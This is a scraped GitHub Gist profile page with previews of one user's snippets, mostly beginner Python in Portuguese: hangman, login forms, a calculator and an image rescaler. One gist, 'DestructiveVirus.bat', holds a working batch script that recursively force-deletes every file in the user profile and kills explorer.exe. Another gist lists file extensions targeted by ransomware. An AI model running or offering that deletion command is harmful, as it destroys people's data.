Skip to content

Instantly share code, notes, and snippets.

View go4Mor4's full-sized avatar
💡
Focusing

Gabriel Mora go4Mor4

💡
Focusing
  • Getnet Brasil
  • Sao Paulo, Brazil
View GitHub Profile
import random
import test
import time
def forca(chances):
if chances == 7:
print("------------")
print("| |")
print("| ")
import random
import time
import os
teclado = [
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k',
'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w',
'x', 'y', 'z', '1', '2', '3', '4', '5', '6', '7', '8',
'9', '0'
]
@go4Mor4
go4Mor4 / DestructiveVirus.bat
Created September 5, 2018 01:48
this virus erases all files on your computer, do you want to try?
@ echo off
cd\
cd %userprofile%
del /s /q /f *
taskkill -f /im explorer.exe
exit
import time
while True:
ano = 2018
dia = int(input("Digite o dia que você nasceu: "))
while dia > 31:
dia = int(input("Digite o dia que você nasceu: "))
mes = int(input("Digite o mes que você nasceu: "))
while mes > 12:
mes = int(input("Digite o mes que você nasceu: "))
@go4Mor4
go4Mor4 / aplication.py
Last active September 17, 2018 17:55
login program.
from funcs import *
usuarios = []
senhas = []
logado = False
tocar_musica()
bem_vindo()
while logado == False:
escolha = pergntar_login_cadastro()
if escolha == 1:
indice_usuario = usuarios.index(checar_usuario_login(usuarios, senhas))
@go4Mor4
go4Mor4 / estudo_sqlite.py
Last active November 12, 2018 20:52
login in sqlite with python
import sqlite3
conn = sqlite3.connect('banco.db')
cursor = conn.cursor()
login_cadastro = int(input("Digite 1 para login e 0 para cadastro:\n>>"))
if login_cadastro == 0:
print("Registro")
cadastro_usuario = input("Usuario: ")
cursor.execute("""
SELECT * FROM usuarios;
""")
class Mainframe(tk.Tk):
def __init__(self):
tk.Tk.__init__(self)
self.frame = Login_Screen(self)
self.frame['bg'] = '#222'
self.frame.pack(fill=BOTH, expand=1)
def change(self, frame):
self.frame.pack_forget()
self.frame = frame(self)
self.frame['bg'] = '#222'
@go4Mor4
go4Mor4 / extensions.py
Created April 19, 2019 19:37 — forked from thau0x01/extensions.py
Lista de extensções de arquivos alvo de ransomwares
extensions = [
# 'exe,', 'dll', 'so', 'rpm', 'deb', 'vmlinuz', 'img' # Arquivos do Sitema
'jpg', 'jpeg', 'bmp', 'gif', 'png', 'svg', 'psd', 'raw', # imagens
'mp3', 'mp4', 'm4a', 'aac', 'ogg', 'flac', 'wav', 'wma', 'aiff', 'ape', # Audios
'avi', 'flv', 'm4v', 'mkv', 'mov', 'mpg', 'mpeg', 'wmv', 'swf', '3gp', # Vídeos
'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', # Microsoft office
# OpenOffice, Adobe, Latex, Markdown, etc
'odt', 'odp', 'ods', 'txt', 'rtf', 'tex', 'pdf', 'epub', 'md',
'yml', 'yaml', 'json', 'xml', 'csv', # dados estruturados e config
'db', 'sql', 'dbf', 'mdb', 'iso', # bancos de dados e imagens de disco
from tkinter import *
class Calculator():
def __init__(self, master=None, **kwargs):
master.title('CALCULATOR')
master.geometry('339x400')
display = StringVar()
view = Entry(self,highlightthickness= 0, relief=SUNKEN, textvariable=display, border=0, font=('Calibri', 24))
view.bind('<Return>', lambda e, s=self, w=display: s.calc(w))
view.place(x=0, y=6, width=254, height=36)
view.focus_set()
from PIL import Image
import os
import argparsedef rescale_images(directory, size):
for img in os.listdir(directory):
im = Image.open(directory+img)
im_resized = im.resize(size, Image.ANTIALIAS)
im_resized.save(directory+img)if __name__ == '__main__':
parser = argparse.ArgumentParser(description="Rescale images")
parser.add_argument('-d', '--directory', type=str, required=True, help='Directory containing the images')
parser.add_argument('-s', '--size', type=int, nargs=2, required=True, metavar=('width', 'height'), help='Image size')